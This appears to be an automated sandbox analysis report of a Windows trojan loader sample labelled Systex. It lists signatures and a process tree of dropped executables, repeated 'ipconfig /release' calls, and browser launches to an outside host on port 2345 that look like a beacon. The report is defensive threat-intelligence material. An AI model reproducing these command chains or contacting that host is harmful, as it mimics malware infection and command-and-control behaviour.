Analysis
- max time kernel
148s - max time network
147s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
12/11/2026, 15:00
General
- Target 2026-11-12_dd7a07ea6fa20900a87c960ee89b56a5_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe
- Size 381KB
- Sample261112-sdtgfawzdv
- SHA256 322858ab0037d6ccf99802a2ae1244f3ce1ae4699438b8a6097c3009989b5de5
Score
10/10
Malware Config
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- Drops file in Windows directory 64 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- System Location Discovery: System Language Discovery 1 TTPs 42 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 1 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Gathers network information 2 TTPs 20 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 3 IoCs
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 20 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs
- Suspicious use of AdjustPrivilegeToken 19 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-11-12_dd7a07ea6fa20900a87c960ee89b56a5_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-11-12_dd7a07ea6fa20900a87c960ee89b56a5_amadey_darkgate_elex_rhadamanthys_smoke-loader_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Temp\ebwuomgeywrojgbz.exeC:\Temp\ebwuomgeywrojgbz.exe run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\jetrlgeywr.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\jetrlgeywr.exeC:\Temp\jetrlgeywr.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_jetrlgeywr.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_jetrlgeywr.exeC:\Temp\i_jetrlgeywr.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\lgdywqolge.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\lgdywqolge.exeC:\Temp\lgdywqolge.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_lgdywqolge.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_lgdywqolge.exeC:\Temp\i_lgdywqolge.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\nlfdbvqnlg.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\nlfdbvqnlg.exeC:\Temp\nlfdbvqnlg.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_nlfdbvqnlg.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_nlfdbvqnlg.exeC:\Temp\i_nlfdbvqnlg.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\kidavtqkid.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\kidavtqkid.exeC:\Temp\kidavtqkid.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_kidavtqkid.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_kidavtqkid.exeC:\Temp\i_kidavtqkid.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\axsqkhfaxs.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\axsqkhfaxs.exeC:\Temp\axsqkhfaxs.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_axsqkhfaxs.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_axsqkhfaxs.exeC:\Temp\i_axsqkhfaxs.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\nhfcxvpnhf.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\nhfcxvpnhf.exeC:\Temp\nhfcxvpnhf.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_nhfcxvpnhf.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_nhfcxvpnhf.exeC:\Temp\i_nhfcxvpnhf.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\mkhczxrpmk.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\mkhczxrpmk.exeC:\Temp\mkhczxrpmk.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_mkhczxrpmk.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_mkhczxrpmk.exeC:\Temp\i_mkhczxrpmk.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\pjhezwurpj.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\pjhezwurpj.exeC:\Temp\pjhezwurpj.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_pjhezwurpj.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_pjhezwurpj.exeC:\Temp\i_pjhezwurpj.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\tomgeywtom.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\tomgeywtom.exeC:\Temp\tomgeywtom.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_tomgeywtom.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_tomgeywtom.exeC:\Temp\i_tomgeywtom.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\uoljdbztro.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\uoljdbztro.exeC:\Temp\uoljdbztro.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_uoljdbztro.exe ups_ins3⤵
- Executes dropped EXE
-
C:\Temp\i_uoljdbztro.exeC:\Temp\i_uoljdbztro.exe ups_ins4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\tqoidbvtnl.exe ups_run3⤵
- Executes dropped EXE
-
C:\Temp\tqoidbvtnl.exeC:\Temp\tqoidbvtnl.exe ups_run4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_tqoidbvtnl.exe ups_ins3⤵
-
C:\Temp\i_tqoidbvtnl.exeC:\Temp\i_tqoidbvtnl.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\vqoigaysql.exe ups_run3⤵
-
C:\Temp\vqoigaysql.exeC:\Temp\vqoigaysql.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_vqoigaysql.exe ups_ins3⤵
-
C:\Temp\i_vqoigaysql.exeC:\Temp\i_vqoigaysql.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ifaysqkica.exe ups_run3⤵
-
C:\Temp\ifaysqkica.exeC:\Temp\ifaysqkica.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ifaysqkica.exe ups_ins3⤵
-
C:\Temp\i_ifaysqkica.exeC:\Temp\i_ifaysqkica.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\pnhfaxspki.exe ups_run3⤵
-
C:\Temp\pnhfaxspki.exeC:\Temp\pnhfaxspki.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_pnhfaxspki.exe ups_ins3⤵
-
C:\Temp\i_pnhfaxspki.exeC:\Temp\i_pnhfaxspki.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\nkfcxvpnhf.exe ups_run3⤵
-
C:\Temp\nkfcxvpnhf.exeC:\Temp\nkfcxvpnhf.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_nkfcxvpnhf.exe ups_ins3⤵
-
C:\Temp\i_nkfcxvpnhf.exeC:\Temp\i_nkfcxvpnhf.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ecwuomhezx.exe ups_run3⤵
-
C:\Temp\ecwuomhezx.exeC:\Temp\ecwuomhezx.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ecwuomhezx.exe ups_ins3⤵
-
C:\Temp\i_ecwuomhezx.exeC:\Temp\i_ecwuomhezx.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\zuomgeywro.exe ups_run3⤵
-
C:\Temp\zuomgeywro.exeC:\Temp\zuomgeywro.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_zuomgeywro.exe ups_ins3⤵
-
C:\Temp\i_zuomgeywro.exeC:\Temp\i_zuomgeywro.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\ztrljebwuo.exe ups_run3⤵
-
C:\Temp\ztrljebwuo.exeC:\Temp\ztrljebwuo.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_ztrljebwuo.exe ups_ins3⤵
-
C:\Temp\i_ztrljebwuo.exeC:\Temp\i_ztrljebwuo.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\wqomgeywqo.exe ups_run3⤵
-
C:\Temp\wqomgeywqo.exeC:\Temp\wqomgeywqo.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\i_wqomgeywqo.exe ups_ins3⤵
-
C:\Temp\i_wqomgeywqo.exeC:\Temp\i_wqomgeywqo.exe ups_ins4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\Temp\vtnlfdyvqo.exe ups_run3⤵
-
C:\Temp\vtnlfdyvqo.exeC:\Temp\vtnlfdyvqo.exe ups_run4⤵
- System Location Discovery: System Language Discovery
-
C:\temp\CreateProcess.exeC:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release5⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release6⤵
- Gathers network information
-
-
-
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home2⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"3⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x300,0x7ffe7ba2c188,0x7ffe7ba2c194,0x7ffe7ba2c1a04⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1860,i,10821576834216278989,2190869771376905229,524288 --field-trial-handle=2368,i,3624052031034496001,8562039449265442266,262144 --variations-seed-version --mojo-platform-channel-handle=2396 /prefetch:114⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1588,i,120182981203782522,1510632735757820783,262144 --field-trial-handle=2368,i,3624052031034496001,8562039449265442266,262144 --variations-seed-version --mojo-platform-channel-handle=2264 /prefetch:24⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2524,i,4931016686104957971,10250707267506753666,524288 --field-trial-handle=2368,i,3624052031034496001,8562039449265442266,262144 --variations-seed-version --mojo-platform-channel-handle=2596 /prefetch:134⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3496,i,4479852645232987595,3784237810801773117,2097152 --field-trial-handle=2368,i,3624052031034496001,8562039449265442266,262144 --variations-seed-version --mojo-platform-channel-handle=3528 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3520,i,15681306572173086006,3805076644273508185,2097152 --field-trial-handle=2368,i,3624052031034496001,8562039449265442266,262144 --variations-seed-version --mojo-platform-channel-handle=3544 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4296,i,11644204499058276973,9957470368334068522,2097152 --field-trial-handle=2368,i,3624052031034496001,8562039449265442266,262144 --variations-seed-version --mojo-platform-channel-handle=4788 /prefetch:14⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4344,i,825067744932973936,3328059470409892379,2097152 --field-trial-handle=2368,i,3624052031034496001,8562039449265442266,262144 --variations-seed-version --mojo-platform-channel-handle=4792 /prefetch:94⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3808,i,2211788247700741443,17624428946660023011,524288 --field-trial-handle=2368,i,3624052031034496001,8562039449265442266,262144 --variations-seed-version --mojo-platform-channel-handle=4396 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3780,i,7534926161224249829,8819987357891352009,524288 --field-trial-handle=2368,i,3624052031034496001,8562039449265442266,262144 --variations-seed-version --mojo-platform-channel-handle=5396 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5444,i,16761840259611914409,4868931160658563460,524288 --field-trial-handle=2368,i,3624052031034496001,8562039449265442266,262144 --variations-seed-version --mojo-platform-channel-handle=5376 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6120,i,10481154217726504902,9973623371243207008,524288 --field-trial-handle=2368,i,3624052031034496001,8562039449265442266,262144 --variations-seed-version --mojo-platform-channel-handle=5924 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6120,i,10481154217726504902,9973623371243207008,524288 --field-trial-handle=2368,i,3624052031034496001,8562039449265442266,262144 --variations-seed-version --mojo-platform-channel-handle=5924 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3792,i,2897902277039702333,18104161371291726816,524288 --field-trial-handle=2368,i,3624052031034496001,8562039449265442266,262144 --variations-seed-version --mojo-platform-channel-handle=6312 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6464,i,16991564712852576433,3896330945800071018,524288 --field-trial-handle=2368,i,3624052031034496001,8562039449265442266,262144 --variations-seed-version --mojo-platform-channel-handle=6472 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6372,i,14163573773529317504,16919858482875741412,524288 --field-trial-handle=2368,i,3624052031034496001,8562039449265442266,262144 --variations-seed-version --mojo-platform-channel-handle=6448 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6652,i,12703452788145972264,1251507006256305358,524288 --field-trial-handle=2368,i,3624052031034496001,8562039449265442266,262144 --variations-seed-version --mojo-platform-channel-handle=6472 /prefetch:144⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4992,i,13652718555040871513,6165722236483118448,524288 --field-trial-handle=2368,i,3624052031034496001,8562039449265442266,262144 --variations-seed-version --mojo-platform-channel-handle=5288 /prefetch:144⤵
-
-
